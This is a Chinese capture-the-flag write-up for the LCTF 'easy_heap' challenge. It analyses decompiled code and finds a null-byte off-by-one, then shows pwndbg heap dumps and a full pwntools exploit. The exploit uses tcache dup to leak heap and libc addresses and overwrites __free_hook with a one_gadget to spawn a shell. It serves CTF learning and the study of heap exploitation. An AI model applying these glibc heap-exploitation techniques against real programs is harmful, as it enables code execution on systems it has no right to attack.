前言
听说一血有pwnhub注册码拿就去试着打了一下周末的这场LCTF,结果作为签到题选手(笑)连签到题的一血都拿不到可能这就是命吧,不过遇到了一题不错的pwn,就详细的记录下解题思路和技巧吧
easy pwn
先看下给的文件的基本信息
➜ easy_heap file easy_heap easy_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a94f7ec039023e90d619f61acca68dd0863486c4, stripped ➜ easy_heap checksec easy_heap [*] '/home/Ep3ius/pwn/process/easy_heap/easy_heap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
64位程序防护基本全开,接着我们ida看下程序反编译的结果
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int choice; // eax init_0(); chunk_menu = calloc(0xA0uLL, 1uLL); if ( !chunk_menu ) { puts("init error!"); exit_(); } while ( 1 ) { while ( 1 ) { menu(); choice = read_input(); if ( choice != 2 ) break; delete(); } if ( choice > 2 ) { if ( choice == 3 ) { show(); } else if ( choice == 4 ) { exit_(); } } else if ( choice == 1 ) { new(); } } }
我们可以看到这是一个基础的菜单型程序,这里比较在意的是程序先calloc了一个0xa0大小的堆块,我们先了解下malloc和 calloc的区别主要在于calloc在动态分配完内存后,自动初始化该内存空间为零,而malloc不初始化,里边数据是随机的垃圾数据。
void new() { __int64 v0; // rbx __int64 idx; // [rsp+0h] [rbp-20h] int idxa; // [rsp+0h] [rbp-20h] unsigned int chunk_size; // [rsp+4h] [rbp-1Ch] unsigned __int64 v4; // [rsp+8h] [rbp-18h] v4 = __readfsqword(0x28u); LODWORD(idx) = 0; while ( idx <= 9 && *(16LL * idx + chunk_menu) ) LODWORD(idx) = idx + 1; if ( idx == 10 ) { puts("full!"); } else { v0 = chunk_menu; *(v0 + 16LL * idx) = malloc(0xF8uLL); if ( !*(16LL * idx + chunk_menu) ) { puts("malloc error!"); exit_(); } printf("size n> ", idx, v4); chunk_size = read_input(); if ( chunk_size > 0xF8 ) exit_(); *(16LL * idxa + chunk_menu + 8) = chunk_size; printf("content n> "); read_input_content(*(16LL * idxa + chunk_menu), *(16LL * idxa + chunk_menu + 8)); } }
我们可以看到可以new的chunk的数量是最多时10个,并且malloc的新chunk位置都是在开头calloc的chunk后面,并且content的输入方式单独写了个函数,我们跟进去看看
void __fastcall read_input_content(_BYTE *input, int chunk_size) { unsigned int i; // [rsp+14h] [rbp-Ch] i = 0; if ( chunk_size ) { while ( 1 ) { read(0, &input[i], 1uLL); if ( chunk_size - 1 < i || !input[i] || input[i] == 'n' ) break; ++i; } input[i] = 0; input[chunk_size] = 0; #null byte off-by-one } else { *input = 0; } }
我们结合前面的SIZE_MAX = 0xF8和malloc的都是0xF8可以发现,当我们new一个size=0xF8的chunk时他会把input[0xf8]赋值为0,但这就相当于把下一个chunk的size位覆盖了一个字节,我们具体调试一下
#poc new(0x10,'aaaa') #0 new(0x10,'aaaa') #1 free(0) new(0xf8,'a'*0xf8) #0
pwndbg> parseheap addr prev size status fd bk 0x558c833fa000 0x0 0x250 Used None None 0x558c833fa250 0x0 0xb0 Used None None 0x558c833fa300 0x0 0x100 Used None None 0x558c833fa400 0x0 0x100 Used None None pwndbg> x/8x 0x558c833fa400 0x558c833fa400: 0x0000000000000000 0x0000000000000101 0x558c833fa410: 0x0000000062626262 0x0000000000000000 0x558c833fa420: 0x0000000000000000 0x0000000000000000 0x558c833fa430: 0x0000000000000000 0x0000000000000000 # new(0xf8,'a'*0xf8) pwndbg> parseheap addr prev size status fd bk 0x558c833fa000 0x0 0x250 Used None None 0x558c833fa250 0x0 0xb0 Used None None 0x558c833fa300 0x0 0x100 Freed 0x61616161616161610x6161616161616161 0x558c833fa400 0x6161616161616161 0x100 Used None None pwndbg> x/8x 0x558c833fa400 0x558c833fa400: 0x6161616161616161 0x0000000000000100 <== null byte overwrite 0x558c833fa410: 0x0000000062626262 0x0000000000000000 0x558c833fa420: 0x0000000000000000 0x0000000000000000 0x558c833fa430: 0x0000000000000000 0x0000000000000000 pwndbg>
我们可以看到chunk1的size位确实被x00所覆盖了,也证明确实只要size=0xf8就可以overwrite一字节到下一个chunk的size位
接着我们看下delete和show函数
void delete() { unsigned int idx; // [rsp+4h] [rbp-Ch] printf("index n> "); idx = read_input(); if ( idx > 9 || !*(16LL * idx + chunk_menu) ) exit_(); memset(*(16LL * idx + chunk_menu), 0, *(16LL * idx + chunk_menu + 8)); free(*(16LL * idx + chunk_menu)); *(16LL * idx + chunk_menu + 8) = 0; *(16LL * idx + chunk_menu) = 0LL; }
void show() { unsigned int idx; // [rsp+4h] [rbp-Ch] printf("index n> "); idx = read_input(); if ( idx > 9 || !*(16LL * idx + chunk_menu) ) exit_(); puts(*(16LL * idx + chunk_menu)); }
中规中矩,没有什么问题
分析完了在这里卡了很久,后来在调题目给的libc时秉持着瞎猫一般是能碰到死耗子的原则查了下libc的版本,结果还真的找到了是2.27
要考虑tcache,马上切了个环境去调试(在这之前快被各种double free报错搞死了,哭)
我们先布局好7、8、9号堆
new_tcache() new(0x10,'aaaa') #7 new(0x10,'bbbb') #8 new(0x10,'cccc') #9 free_tcache() free(7) free(8) free(9)
然后下面的操作看上去可能会很绕但想明白了就很明了了,我们先把0-6从tcache取出new好7、8、9号堆后再放回tcache后把chunk7释放这时我们再看下chunk7的状态
pwndbg> parseheap addr prev size status fd bk 0x564965142000 0x0 0x250 Used None None 0x564965142250 0x0 0xb0 Used None None 0x564965142300 0x0 0x100 Used None None 0x564965142400 0x0 0x100 Used None None 0x564965142500 0x0 0x100 Used None None 0x564965142600 0x0 0x100 Used None None 0x564965142700 0x0 0x100 Used None None 0x564965142800 0x0 0x100 Used None None 0x564965142900 0x0 0x100 Used None None 0x564965142a00 0x0 0x100 Freed 0x7fa21366eca0 0x7fa21366eca0 0x564965142b00 0x100 0x100 Used None None 0x564965142c00 0x200 0x100 Used None None pwndbg> x/8x 0x564965142a00 0x564965142a00: 0x0000000000000000 0x0000000000000101 0x564965142a10: 0x00007fa21366eca0 0x00007fa21366eca0 0x564965142a20: 0x0000000000000000 0x0000000000000000 0x564965142a30: 0x0000000000000000 0x0000000000000000 pwndbg>
已经把main_arena放入在chunk里了,这时我们再把tcache清空后free8再重新取回来让chunk8_size=0xf8触发null byte off-by-one覆盖chunk9的previnuse位为0,让我们看下chunk现在的情况
pwndbg> parseheap addr prev size status fd bk 0x556bf9a1e000 0x0 0x250 Used None None 0x556bf9a1e250 0x0 0xb0 Used None None 0x556bf9a1e300 0x0 0x100 Used None None 0x556bf9a1e400 0x0 0x100 Used None None 0x556bf9a1e500 0x0 0x100 Used None None 0x556bf9a1e600 0x0 0x100 Used None None 0x556bf9a1e700 0x0 0x100 Used None None 0x556bf9a1e800 0x0 0x100 Used None None 0x556bf9a1e900 0x0 0x100 Used None None 0x556bf9a1ea00 0x0 0x100 Freed 0x7f003ff88ca0 0x7f003ff88ca0 0x556bf9a1eb00 0x100 0x100 Freed 0x746972777265766f 0x392065 0x556bf9a1ec00 0x200 0x100 Used None None pwndbg> x/8x 0x556bf9a1ea00 0x556bf9a1ea00: 0x0000000000000000 0x0000000000000101 0x556bf9a1ea10: 0x00007f003ff88ca0 0x00007f003ff88ca0 0x556bf9a1ea20: 0x0000000000000000 0x0000000000000000 0x556bf9a1ea30: 0x0000000000000000 0x0000000000000000 pwndbg> x/8x 0x556bf9a1eb00 0x556bf9a1eb00: 0x0000000000000100 0x0000000000000100 0x556bf9a1eb10: 0x746972777265766f 0x0000000000392065 0x556bf9a1eb20: 0x0000000000000000 0x0000000000000000 0x556bf9a1eb30: 0x0000000000000000 0x0000000000000000 pwndbg> x/8x 0x556bf9a1ec00 0x556bf9a1ec00: 0x0000000000000200 0x0000000000000100 0x556bf9a1ec10: 0x0000000063636363 0x0000000000000000 0x556bf9a1ec20: 0x0000000000000000 0x0000000000000000 0x556bf9a1ec30: 0x0000000000000000 0x0000000000000000
这时我们可以看到chunk9的pre_size位位0x200chunk9的previnuse位也为0,就可以尝试一波unlink了,先把tcache填满,再free9后,我们再看下chunk
pwndbg> parseheap addr prev size status fd bk 0x5624364b4000 0x0 0x250 Used None None 0x5624364b4250 0x0 0xb0 Used None None 0x5624364b4300 0x0 0x100 Used None None 0x5624364b4400 0x0 0x100 Used None None 0x5624364b4500 0x0 0x100 Used None None 0x5624364b4600 0x0 0x100 Used None None 0x5624364b4700 0x0 0x100 Used None None 0x5624364b4800 0x0 0x100 Used None None 0x5624364b4900 0x0 0x100 Used None None
我们接着把tcache清空,新建chunk9和overwrite到chunk8的chunk7,再把chunk6和chunk9释放掉后,这时chunk7里存的就是heap地址了,show(7)便可以泄露heapbase
pwndbg> parseheap addr prev size status fd bk 0x55fe2fe46000 0x0 0x250 Used None None 0x55fe2fe46250 0x0 0xb0 Used None None 0x55fe2fe46300 0x0 0x100 Used None None 0x55fe2fe46400 0x0 0x100 Used None None 0x55fe2fe46500 0x0 0x100 Used None None 0x55fe2fe46600 0x0 0x100 Used None None 0x55fe2fe46700 0x0 0x100 Used None None 0x55fe2fe46800 0x0 0x100 Used None None 0x55fe2fe46900 0x0 0x100 Used None None 0x55fe2fe46a00 0x0 0x100 Used None None 0x55fe2fe46b00 0x100 0x100 Used None None pwndbg> x/8x 0x55fe2fe46b00 0x55fe2fe46b00: 0x0000000000000100 0x0000000000000101 0x55fe2fe46b10: 0x000055fe2fe46310 <== 0x0000000000000000 0x55fe2fe46b20: 0x0000000000000000 0x0000000000000000 0x55fe2fe46b30: 0x0000000000000000 0x0000000000000000
之后就是想办法去泄露libc地址了,这步也卡了很久,本来是想通过tcache_dup修改chunk7里的数据改成那个存着libc地址的地址,后来发现真的被自己蠢哭,最后我是把chunk_menu也就是一开始calloc的0xb0的chunk里面chunk7的指针通过tcache_dup改成存着libc地址的chunk再leak出来
pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x565551ed3c00 (size : 0x20400) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x100) tcache_entry[14]:0x565551ed3b10 --> 0x565551ed3b10 (overlap chunk with 0x565551ed3b00(freed) ) pwndbg> parseheap addr prev size status fd bk 0x565551ed3000 0x0 0x250 Used None None 0x565551ed3250 0x0 0xb0 Used None None 0x565551ed3300 0x0 0x100 Used None None 0x565551ed3400 0x0 0x100 Used None None 0x565551ed3500 0x0 0x100 Used None None 0x565551ed3600 0x0 0x100 Used None None 0x565551ed3700 0x0 0x100 Used None None 0x565551ed3800 0x0 0x100 Used None None 0x565551ed3900 0x0 0x100 Used None None 0x565551ed3a00 0x0 0x100 Used None None 0x565551ed3b00 0x100 0x100 Used None None pwndbg>
在泄露出了libc地址后基本就是为所欲为了,重新做个tcache_dup把free_hook修改成one_gadget就直接getshell了,这里贴上exp
from pwn import* context(os='linux',arch='amd64',log_level='debug') n = process('./easy_heap') #n = remote('118.25.150.134',6666) elf = ELF('./easy_heap') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def new_0(): n.recvuntil('which command?n> ') n.sendline("1") n.recvuntil('> ') n.sendline('0') def new(size,content): n.recvuntil('which command?n> ') n.sendline("1") n.recvuntil('size n> ') n.sendline(str(size)) n.recvuntil('content n> ') n.sendline(content) def free(idx): n.recvuntil('which command?n> ') n.sendline("2") n.recvuntil('index n> ') n.sendline(str(idx)) def show(idx): n.recvuntil('which command?n> ') n.sendline("3") n.recvuntil('index n> ') n.sendline(str(idx)) def new_tcache(): for i in range(7): new(0x10,'aaaa') def free_tcache(): for i in range(0,7): free(i) new_tcache() new(0x10,'aaaa') #7 new(0x10,'bbbb') #8 new(0x10,'cccc') #9 free_tcache() free(7) free(8) free(9) new_tcache() new(0x10,'aaaa') #7 new(0x10,'bbbb') #8 new(0x10,'cccc') #9 free_tcache() free(7) new_tcache() free(8) new(0xf8,'overwrite 9') free_tcache() free(9) new_tcache() new(0x10,'aaaa') #9 new(0x10,'bbbb') #7(8) free(6) free(9) show(7) heap_base = u64(n.recv(6)+'x00x00') print hex(heap_base) free(7) new(0xf0,p64(heap_base-64)) #7 new(0xf0,'aaaa') #7_2 new(0xf0,p64(heap_base+0x700+0x8)) show(7) libc_base = u64(n.recv(6)+'x00x00') - 0x3ebca0 print hex(libc_base) free_hook = libc.symbols['__free_hook']+libc_base print "free_hook",hex(free_hook) one_gadget = libc_base + 0x4f322 free(6) free(9) new(0xf0,p64(free_hook)) new(0xf0,'aaaa') new(0xf0,p64(one_gadget)) n.interactive()
总结
这次LCTF学到了不少,感谢丁佬没打死我还告诉我调试得出来puts出来的是里面的值里面不是指针,下次一定要好好学习跟上大哥们的解题速度